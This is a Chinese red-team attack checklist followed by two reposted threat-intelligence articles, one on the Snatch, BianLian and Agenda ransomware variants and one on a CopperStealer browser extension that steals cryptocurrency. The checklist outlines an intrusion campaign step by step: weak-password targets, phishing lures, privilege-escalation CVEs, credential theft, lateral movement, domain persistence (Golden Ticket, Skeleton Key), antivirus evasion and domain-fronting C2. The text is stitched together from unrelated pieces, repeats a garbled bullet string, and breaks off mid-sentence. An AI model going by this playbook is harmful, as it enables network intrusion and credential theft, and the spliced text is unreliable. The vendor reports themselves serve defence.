WMI       [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ]
WinRM	  [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ]
RDP       [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ]
SSH       [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ]
ORACLE    [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
Mysql     [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ]
REDIS	  [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ]
POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ]
LDAP      [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ]
SMTP      [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ]
POP3      [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ]
IMAP      [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ]
Exchange  [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ]
VNC       [ 默认工作在tcp 5900端口, 弱口令 ]
FTP       [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ]
Rsync     [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ]
Mongodb   [ 默认工作在tcp 27017端口, 未授权, 弱口令 ]
TELNET    [ 默认工作在tcp 23端口, 弱口令, 后门植入 ]
SVN       [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ]
JAVA RMI  [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ]
CouchDB   [ 默认工作在tcp 5984端口, 未授权访问 ]

0x04 入口权限获取
传统钓鱼攻击利用，实际护网场景中用的非常频繁，细节非常多，此处不一一列举，防御重点
  • 发信前期准备
枚举有效的目标邮箱用户名列表
批量探测目标邮箱弱口令
伪造发信人 [ 发信邮服搭建 ]
钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ]
......

  • 典型投递方式
第一种,直接给目标发送各种常规木马信 

传统宏利用
捆绑
exe[zip,7z]
lnk
chm
自解压
木马链接
OLE
CVE-2017-11882 [ 利用漏洞触发 ]
...

第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 

Vpn
Mail
OA
Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ]
......

0x05 主机安全 [ 提权利用，防御重点 ]
以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及

  • Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ]
BypassUAC [ win7 / 8  / 8.1 / 10 ]
MS14-058[KB3000061]				    [重点]
MS14-068[KB3011780]				    [重点]
ms15-051[KB3045171]				    [重点]
MS15-077[KB3077657]				    [重点]
MS16-032[KB3124280]				    [重点]
ms16-075					    [重点]
MS16-135[KB3199135]				    [重点]
MS17-010[KB4013389]				    [重点]
cve-2019-0708					    [重点]
CVE-2019-0803					    [重点]
CVE-2019-1322 & CVE-2019-1405			    [重点]
cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ]	    [重点]		

  • linux 内核漏洞 本地提权 [ linux-exploit-suggester ]
CVE-2016-5195					    [重点]
CVE-2017-16995
CVE-2019-13272

  • 利用各类第三方服务 / 软件工具提权
Mssql 						    [重点]
Oracle         					    [重点]
Mysql
各类第三方软件dll劫持 				    [重点]
suid权限                        
计划任务
各种错误服务配置利用

0x06 内网安全 [ 敏感信息搜集，防御重点，可在此项严格限制各种系统内置命令执行 ]
  • 搜集当前已控"跳板机"的各类敏感信息
注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述

查看当前shell权限 及 详细系统内核版本
获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip
获取当前系统最近的用户登录记录
获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ]
获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息
获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ]
获取本机 rdp / ssh 端口开启状态 及 其默认端口号
获取本机所有用户的rdp外连记录
获取本机的所有SSH登录记录
获取当前系统所有登录成功的日志 [ 针对windows ]
获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ]
获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录
获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ]
获取当前用户 桌面 及 回收站 里的所有文件列表
获取当前系统的所有存在suid权限的二进制程序
获取当前系统代理 [ ip & 端口 ]
获取当前系统所有的自启动注册表项值
获取当前系统的所有 ipc 连接 及 已启用共享
获取当前系统的所有挂载[mount]
获取当前系统的防火墙状态
获取当前系统所有分区/盘符及其详细使用情况
获取本机的累计开机时长
获取本机arp / dns缓存
获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ]
获取当前系统所有本地用户及组列表
获取当前系统host文件内容
获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ]
远程截屏捕捉目标用户敏感操作

由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作

  • 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布
  • 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描]
  • 针对内网的各种高危敏感服务定位["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]
  • 内网批量 Web Banner 抓取,获取关键目标业务系统如下
内网各种文件[共享]服务器
内网各类web服务器  [ 可用于后期留入口 ]
内网各类数据库服务器
内网邮件服务器  [ 可用于后期留入口 ]
内网Vpn服务器  [ 可用于后期留入口 ]
内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti...
内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端...
内网日志服务器
内网补丁服务器
内网各类OA,ERP,CRM,SRM,HR系统... 
内网打印服务器
内网 MES 系统 
内网虚拟化服务器 / 超融合平台 [Vmware ESX]
内网堡垒机...
内网运维,研发 部门员工的机器
内网路由,交换设备...
等等等...

针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现
通过在一些关键节点设备/服务器上部署探针搜集流量
再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的

  • 针对各类已知系统高危RCE漏洞的批量探测识别与利用
MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ]
MS17-010
CVE-2019-0708

其实针对此类漏洞的攻击利用识别,就显得比较直白了
通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断

0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ]
  • 主动密码搜集
注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的
此处不再赘述, 此项非防御重点, 因为压根也不好防

批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码"
   比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)...
想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表"
   比如, *.ls,*.doc,*.docx, *.txt....
抓取各类 "数据库客户端工具中保存各种数据库连接账号密码
   比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)]

抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ]
抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ]
抓取当前系统的所有 "用户token" [ Windows ]
抓取 "windows凭据管理器中保存的各类连接账号密码"
抓取 "MSTSC 客户端中保存的所有rdp连接账号密码"
抓取各类 "VNC客户端工具中保存的连接密码"
抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ]
抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty
抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器
抓取各类 "数据库表中保存的各类账号密码hash"
抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp...
抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird...
抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址"
抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"


  • 被动密码搜集 [ 等着管理员自己来送密码 ]
[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点]

Windows SSP [持久化/内存]
Hook PasswordChangeNotify [持久化/内存]
OWA 登录账号密码截获
截获mstsc.exe中输入的rdp连接账号密码
linux 别名记录利用
本机明文密码嗅探 [ http,ftp,pop3... ]
传统键盘记录
windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ]

  • Hash爆破:
Hashcat [ 完全拼GPU ] 

0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ，防御重点 ]
出网流量刺探
比如,http,dns,以及一些穿透性相对较好的tcp端口... 
这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器

常规 HTTP脚本代理
abptts,Neo-reGeorg,reGeorg,tunna,reduh...
不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行

SSH 隧道
加密端口转发,socks 实战用途非常灵活,此处不细说 ]

Rdp 隧道

反向SOCKS
nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 
工具基本都不免杀了,需要自行处理

正反向TCP 端口转发
非常多,就不一一列举, eg: nginx,netsh,socat,ew....

DNS加密隧道			

Web端口复用

需要明白的是,在一般的红队场景中
入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性

0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 )，提炼汇总，防御重点 ]
  • 针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]
获取当前域内的完整域管列表
获取当前域内的所有域控机器名列表
获取当前域内的所有DNS服务器机器名列表
获取当前域内的所有SPN
获取当前域内的所有OU
获取当前域内的所有用户 & 用户组列表
获取当前域信任关系 [ 跨域渗透 ]
获取当前域内所有机器的开机时间
获取当前域内网段及web站点
获取当前域内策略 [ 主要是为了了解密码策略 ]
获取当前域林
.......

  • 快速获取目标域控权限的一些常规手法
搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 
服务票据hash破解("尤其是域管用户的") [ kerberoast ]
批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ]
Kerberos 委派利用
爆破LDAP
Exchange特定ACL滥用
SSP 截获关键服务器登录密码
利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至
  抓到域管密码
  抓到域管令牌
DNSAdmin 组成员滥用 [ 加载执行恶意dll ]
LAPS
MS14-068 [ 如今实际中已很少遇到了 ]
LLMNR/NBNS欺骗  + SMB relay [ 真实在实战中其实用的并不多 ]

  • 域内后渗透敏感信息搜集分析
获取所有DNS记录
导出当前域的完整LDAP数据库
提取当前域的ntds.dit [ 域内账号密码数据库 ]
  Dcsync同步
  Volume Shadow Copy Service

  • 域内指定用户登录ip定位
利用OWA登录日志
利用域控服务器登录日志
指定服务银票 [ Silver Ticket ]
除此之外,就是下面的各类常规横向手法

  • 域内指定用户机器定向控制技巧
绑定用户登录脚本
利用GPO下发 [实际上,利用GPO能做的事情还非常非常多]
PTT [ 票据传递 ]

  • 针对域管的各种权限维持技巧
金票
Skeleton Key
DSRM密码同步
OWA后门
...

  • 域内Exchange 邮件数据脱取
利用Ews接口通过PTH的方式脱邮件

0x10 内网安全 [ 跨平台横向渗透 (远程执行)，防御重点 ( "重中之重" ) ]
  • 从 Windows平台 横向至 Windows平台
注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限

远程服务管理 [ SCM ]
远程创建执行计划任务 [ Scheduled Tasks ]
WMI 远程执行 [ WMI ]
针对高版本Windows 的WinRM 远程执行 
DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ]
高版本 RDP 远程执行
利用MSSQL数据库存储过程来变相远程执行
利用Oracle数据库存储过程来变相远程执行
SMB [ PTH (hash传递) ]
RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ]
利用补丁服务器下发执行
利用EDR主控端定向下发执行

  • 从 Windows平台 横向至 *inux平台
基于Windows SSH库自行开发各种远程执行小工具

windows10自带的openssh直接命令远程连接:
ssh  root@192.168.3.124
scp -rp  I:\test  root@192.168.3.124:/opt(上传文件件及其内容）
scp   I:\test\test.txt  root@192.168.3.124:/opt  (上传文件内容）
scp   root@192.168.3.124:/opt/test/2.txt   I:\test (下载文件）
  • 从 *inux平台 横向至 Windows 平台
一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下
wmiexec_linux_x86_64
smbexec_linux_x86_64
psexec_linux_x86_64
atexec_linux_x86_64
dcomexec_linux_x86_64
参考工具：
https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 
另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行

  • 从 *inux平台 横向至 *inux 平台
linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行

  • 各种远程下载技巧
wget [ win & linux ]
curl [ win & linux ]

之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道
某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可
CertUtil.exe
Bitsadmin.exe
Regsvr32.exe
Rundll32.exe
Powershell.exe
......
0x11 内网安全 [ 权限维持，防御重点 ] [ 注: 有些细节此处并未展开详细说明 ]
  • 边界入口权限维持
OWA 登录口 [ 账号密码,webshell ]
VPN 登录口 [ 账号密码,shell ]
其他 MAIL 登录口 [ 账号密码 ]
边界 Web服务器 [ Webshell 驻留技巧 ]
边界路由交换设备 [ 账号密码,shell ]
...

  • Windows 单机系统维持 [临时]
系统计划任务 [ 高权限/低权限 ]
常规注册表自启动项 [ 用户权限/system权限 ]
Mssql存储过程 [ 继承服务权限 ]
WMI
Winlogon
CLR
Logon Scripts
MruPidlList
Mof
传统远控
...

  • linux 单机系统维持 [临时]
Patch SSH
替换各类基础服务so [ PAM,Nginx,Rsync ...] 
系统计划任务
传统应用层远控
驱动层远控( 针对特定内核版本 )

0x12 痕迹处理
web日志 [ 访问, 错误日志 ]
数据库日志 [ 异常连接日志,慢查询日志 ]
系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....]
各类邮箱登录日志
域内敏感攻击利用日志 [ 金票,银票... ]
此项为专业蓝队范畴,不再赘述
......

0x13 各类常用 C2 / 渗透 框架
CobaltStrike [二次开发]
  payload(beacon) 逆向/改进重写
Metasploit [二次开发]
......

0x14 各类常用 Webshell管理工具
菜刀	caidao20160622
冰蟹	Behinder_v2.0.1
蚁剑	AntSword
......

0x15 免杀 及 各类防火墙对抗
  • 静态
混淆:
手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等....
工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ]
...

加壳:
一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ]
最好的方式还是尝试自己写壳,就是成本较高
...

  • 动态
反射
shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 )
白利用
......

注:
   理论上, 这些应该也没有什么非常通用的方法
   大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药

  • 流量:
域前置[利用大厂cdn]
工具参考：
https://tengxiaofei.run/2020/06/22/%E6%B5%81%E9%87%8F%E7%BB%95%E8%BF%87-cobaltstrike%E5%9F%9F%E5%89%8D%E7%BD%AE%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9EIP%E5%92%8C%E6%81%B6%E6%84%8F%E5%9F%9F%E5%90%8D/
https://evi1cg.me/archives/AMSI_bypass.html
https://www.anquanke.com/post/id/195011#h2-1
https://www.moonsec.com/archives/2928
https://zhuanlan.zhihu.com/p/364877190
https://syst1m.com/post/domain-fronting/
https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142
https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/
https://www.xorrior.com/Empire-Domain-Fronting/
https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike
https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6
https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3
https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/
https://github.com/MindPointGroup/cloudfrunt
https://www.secpulse.com/archives/142017.html
https://www.chabug.org/web/1373.html
DNS加密隧道
参考工具：
https://www.cnblogs.com/beautiful-code/p/13725355.html#cs%E4%BD%BF%E7%94%A8dns%E9%9A%A7%E9%81%93%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5
https://www.freebuf.com/articles/network/208242.html
https://www.freebuf.com/articles/web/256032.html
https://www.cocosec.com/archives/262.html
http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/
https://www.freebuf.com/articles/network/244094.html
https://www.freebuf.com/articles/network/214923.html
https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/
https://xz.aliyun.com/t/6966#toc-17
https://downloads.skullsecurity.org/dnscat2/
https://apt404.github.io/2017/12/29/cobalt-strike-dns/
https://www.anquanke.com/post/id/99408
第三方公共邮箱上线
第三方网盘上线
第三方社交网站上线
第三方匿名社交工具上线[eg: tg机器人,tor...]


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
FortiGuard Labs每兩週收集一次關於勒索軟件變體的數據，追踪分析發現Snatch，BianLian 和Agenda都出現了最新的變體。這三個惡意軟件都是用Go編程語言(Golang)編寫的。



马云惹不起马云受影響的平台：Microsoft Windows



马云惹不起马云受影響方：Microsoft Windows 用戶



马云惹不起马云影響：加密受感染設備上的文件並要求贖金才能解密文件



马云惹不起马云 嚴重性級別：高



SnatchSnatch勒索軟件至少從2018年底就開始活躍了。 2021年11月30日，Snatch勒索組織在其數據站點添加了一條條目，內容涉及入侵沃爾沃汽車公司的服務器並竊取文件，同時還附上了被盜文件的屏幕截圖作為證據。



Snatch勒索軟件是最早用Go編程語言的組織，當時用Go編寫的勒索軟件非常罕見。巧合的是，本文中涉及的所有其他勒索軟件變種都是用Go編寫的。



Snatch 勒索軟件是一種文件加密器，以使用著名的文件擴展名“.snake”而聞名，它會附加到加密文件中。但是，已觀察到其他文件擴展名。其勒索信的文件名也因變體而異。



已報告的Snatch 勒索軟件感染媒介是RDP（遠程桌面協議）憑證暴力破解。從Windows 11 內部版本22528.1000 開始，Microsoft 默認啟用了帳戶鎖定策略，該策略會在登錄嘗試失敗時鎖定用戶帳戶。這不僅使RDP 暴力破解變得更加困難，而且還使任何其他密碼猜測攻擊變得更加困難。



最新的Snatch 勒索軟件變種會加密受害者設備上的文件，並將“.gaqtfpr”擴展名附加到受影響的文件中。它還會刪除一個文本文件“HOW TO RESTORE YOUR FILES.TXT”。該勒索信包含兩個聯繫電子郵件地址以及受害者在向攻擊者發送電子郵件時必須遵循的特定說明。



 1.png



Snatch勒索軟件最新變體發出的勒索信



 2.png



被最新Snatch 勒索軟件變種加密的文件



BianLian用Go編程語言編寫的BianLian於2022年7月中旬首次被發現，它的運營商本月增加了他們的命令和控制（C2）基礎設施，最近開始將受害者添加到其Tor 上的數據洩露網站上。截至撰寫本文時，至少有20家公司成為了其受害者。不過，攻擊者很有可能隱瞞了支付贖金的受害者的數量，BianLian勒索軟件的實際受害者可能會更多。



 3.png



BianLian 勒索軟件公開的受害者列表



每個BianLian 受害者都被標記為他們的國家和他們所屬的行業。根據可用的標籤，它的勒索軟件受害者至少在美國、英國和澳大利亞。目標行業包括醫療保健、教育、律師事務所、建築、媒體、製藥、營銷、度假村和金融。



 4.png



BianLian勒索軟件攻擊者對受害者的分類標籤



每個受害者都有一個專門的頁面。其中包括受害企業的描述、首席執行官或公司總裁的姓名、他們的個人收入、這些公司的收入、資產和收入，以及洩露的文件中包含哪些信息。



 5.png



BianLian 勒索軟件數據洩露網站上發布的受害者信息



有趣的是，Colin Grady 最近觀察到，由一些勒索軟件攻擊者操作的洩漏網站在2022 年8 月26 日關閉了。不過，其中一些仍存在斷斷續續的使用，其中就包括BianLian和Snatch勒索軟件。



攻擊者還警告受害者，他們必須在十天內支付贖金。否則，竊取的信息將被發佈在該勒索軟件組織的Tor網站上。為了給受害者施加額外壓力，攻擊者聲稱將向受害者的客戶和業務夥伴發送指向被盜信息的鏈接，以損害受害者的聲譽。受害者被指示使用Tox或通過電子郵件聯繫攻擊者。由於贖金金額和支付方式沒有寫在勒索信上，因此受害者將與攻擊者進行協商。



 6.png



BianLian勒索軟件的勒索信



 7.png



數據洩露網站上列出的聯繫方式



 8.png



BianLian 勒索軟件加密的文件



由BianLian 勒索軟件加密的文件具有“.bianlian”文件擴展名。



AgendaAgenda是另一個基於Go的勒索軟件，於2022年6月中旬出現，根據VirusTotal報告的相關樣本，該勒索軟件可能已攻擊了南非、羅馬尼亞、立陶宛、印度、泰國、美國、加拿大和印度尼西亞。



據報導，Agenda勒索軟件的感染載體是通過使用竊取的憑證登錄到面向公眾的服務器。然後，攻擊者通過受害者的網絡傳播，攻擊其他計算機。一旦攻擊者獲得網絡上臨界數量的設備的訪問權，Agenda勒索軟件就會被部署到受攻擊的設備上。



為了規避反病毒解決方案的檢測，勒索軟件以安全模式加密文件。這種技術已在其他臭名昭著的勒索軟件家族中觀察到，例如REvil、BlackMatter 和AvosLocker。附加到加密文件的文件擴展名因變體而異。例如，如果勒索軟件變種使用“.fortinet”作為文件擴展名，“blog.docx”將更改為“blog.fortinet”。它的勒索通知的名稱以它添加到受影響文件的文件擴展名開始，然後是“-RECOVER-README.txt”。



 9.png



Agenda勒索軟件留下的勒索信



反病毒簽名通過FortiGuard的Web過濾、防病毒、FortiMail、forclient和FortiEDR服務，Fortinet客戶已經可以免受這些惡意軟件變體的攻擊，如下所示：



SnatchFortiGuard Labs 檢測到本文中描述的最新的Snatch勒索軟件變體，具有以下反病毒簽名:



W64/Filecoder.D083 ! tr.ransom



以下反病毒特徵可以檢測到已知的“Snatch”勒索軟件變體樣本：



马云惹不起马云W64/Snatch.A!tr.ransom



马云惹不起马云W32/Snatch.B!tr



马云惹不起马云W32/Snatch.7991!tr.ransom



马云惹不起马云W64/Snatch.BD11!tr.ransom



马云惹不起马云W32/Snatch.C09B!tr.ransom



马云惹不起马云W64/Ransom.A!tr



马云惹不起马云W32/Filecoder.A!tr.ransom



马云惹不起马云W32/Filecoder.NYH!tr



马云惹不起马云W32/Filecoder.NYH!tr.ransom



马云惹不起马云W32/Filecoder.NVR!tr.ransom



马云惹不起马云W32/Filecoder.74A0!tr.ransom



马云惹不起马云W64/Filecoder.D083!tr.ransom



马云惹不起马云W64/Filecoder.AA!tr.ransom



马云惹不起马云W32/Crypmod.ADEJ!tr.ransom



马云惹不起马云W32/DelShad.AM!tr.ransom



马云惹不起马云W32/Trojan_Ransom.AB!tr



马云惹不起马云W32/PossibleThreatBianLianFortiGuard實驗室檢測已知的BianLian勒索軟件樣本，其特徵如下:



W32/Filecoder.BT!tr.ransomAgendaFortiGuard實驗室通過以下反病毒簽名檢測到已知的Agenda勒索軟件變體:



W32/Agent.AK!tr.ransom



W32/PossibleThreat緩解措施1.由於易於中斷、對日常運營的破壞、對組織聲譽的潛在影響，以及不必要的破壞或發布個人身份信息(PII)等，保持所有AV和IPS簽名的最新是至關重要的；



2.由於大多數勒索軟件是通過網絡釣魚發送的，組織應該考慮利用旨在培訓用戶了解和檢測網絡釣魚威脅的Fortinet解決方案；



3.FortiPhish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕，並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強適當的做法。



4.不支付贖金。像CISA、NCSC、FBI和HHS這樣的組織警告勒索軟件受害者不要支付贖金，部分原因是支付並不能保證文件會被恢復。根據美國財政部外國資產控制辦公室(OFAC)的一項建議，贖金支付還可能鼓勵對手將目標鎖定在其他組織，鼓勵其他攻擊者傳播勒索軟件。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
趨勢科技的研究人員跟踪了CopperStealer幕後組織的最新部署，這次是通過基於Chromium的惡意瀏覽器擴展程序竊取加密貨幣和用戶的錢包帳戶信息。



趨勢科技最近發布了關於CopperStealer通過濫用瀏覽器竊取程序、廣告軟件瀏覽器擴展程序或遠程桌面等各種組件傳播惡意軟件的分析。跟踪網絡犯罪集團的最新活動，研究人員發現了一個惡意瀏覽器擴展，當受害者登錄到一個主要的加密貨幣交易網站時，該擴展能夠創建和竊取受感染設備的API密鑰。這些API密鑰允許擴展程序執行交易並將加密貨幣從受害者的錢包發送到攻擊者的錢包。



與以前的攻擊類似，這個新組件通過fake crack（也稱為warez）網站傳播。該組件通常與瀏覽器竊取程序一起分佈在一個釋放器中，並與其他不相關的惡意軟件捆綁在一起。這個捆綁包被壓縮成一個受密碼保護的檔案，自7月以來一直在野外傳播。



滴管/擴展安裝程序該組件在第一階段使用之前文章中描述的相同加密器，然後是第二階段，其中解密的DLL是UltimatePackerExecutables-(UPX)打包的。解密和解包後，我們注意到一個名為CRX的資源目錄，其中包含一個7-Zip壓縮文件。惡意Chrome瀏覽器擴展通常以這種方式打包。



 1.png



名為CRX的擴展安裝程序，包含一個7-Zip壓縮文件



該壓縮文件包含一個帶有設置的JSON文件和另一個帶有擴展安裝程序本身代碼的7-Zip壓縮文件。



 2.png



CRX的解壓內容



擴展安裝程序首先修改文件首選項和安全首選項在chrome瀏覽器的用戶數據目錄。這個名為Preferences的文件是JSON格式，包含個人用戶設置。擴展安裝程序關閉瀏覽器通知。



同時，名為SecurePreferences的文件也是JSON格式，包含已安裝擴展的設置。對於新安裝的擴展，crx.json文件的內容將插入到此安全首選項設置文件中。新安裝的擴展也會添加到位於註冊表中的擴展安裝允許列表中。



然後將crx.7z壓縮文件中的文件提取到位於



Chrome



Chromium



Edge



Brave



Opera



CốcCốc



CentBrowser



Iridium



Vivaldi



Epic



Coowon



AvastSecureBrowser



Orbitum



ComodoDragon我們還注意到，該擴展程序被安裝到受害者的瀏覽器中，具有兩個不同的擴展程序ID，且在官方Chrome網上商店中都找不到：



Cbnmkphohlaaeiknkhpacmmnlljnaedp；



Jikoemlnjnpmecljncdgigogcnhlbfkc；擴展分析安裝擴展程序後，我們還注意到chrome://extensions/中新安裝了以下擴展程序。



 3.png



安裝的惡意擴展



擴展清單定義了兩個Java腳本。後台腳本名為background.js，並且只在一個實例中運行在擴展本身內部。同時，內容腳本稱為content.js，並在coinbase.com上下文中運行，如擴展清單中的代碼片段所示。



 4.png



在擴展清單中指定的內容腳本的設置



腳本混淆這兩個Javascript文件都被嚴重混淆。在第一個混淆步驟中，所有字符串被拆分為子字符串，存儲在單個數組中，通過調用多個帶有5個十六進制整數參數的十六進制命名函數來實現對數組的訪問。



 5.png



第一層混淆



看看第二個混淆步驟，所有字符串、邏輯操作符(+、-、*、/)、函數調用等都被插入到對像數組中。每個對像都有一個隨機字符串作為名稱，或者另一個字符串或函數作為值。在我們分析的示例中，_0x1f27e3['PFPYr']對應字符串' set '， _0x1f27e3['LYLfc'](0,1)對應邏輯表達式0!=1。



 6.png



第二層混淆



這兩個混淆步驟都可以通過使用自定義自動化腳本來反混淆。



後台腳本分析通過分析腳本，本節分析了攻擊者如何能夠竊取合法加密貨幣錢包用戶的賬戶信息。當擴展啟動時，後台腳本進行兩個查詢。第一個是對http:///traffic/chrome的GET請求，可能是出於統計目的。第二個查詢是對http://



blockchain.com



coinbase.com



binance.com



ftx.com



okex.com



huobi.com



kraken.com



poloniex.com



crypto.com



bithumb.com



bitfinex.com



kucoin.com



gate.io



tokocrypto.com



tabtrader.com



mexc.com



lbank.info



hotbit.io



bit2me.com



etoro.com



nicehash.com



probit.com然後，該擴展為各種加密貨幣和令牌定義了一個攻擊者的地址數組：



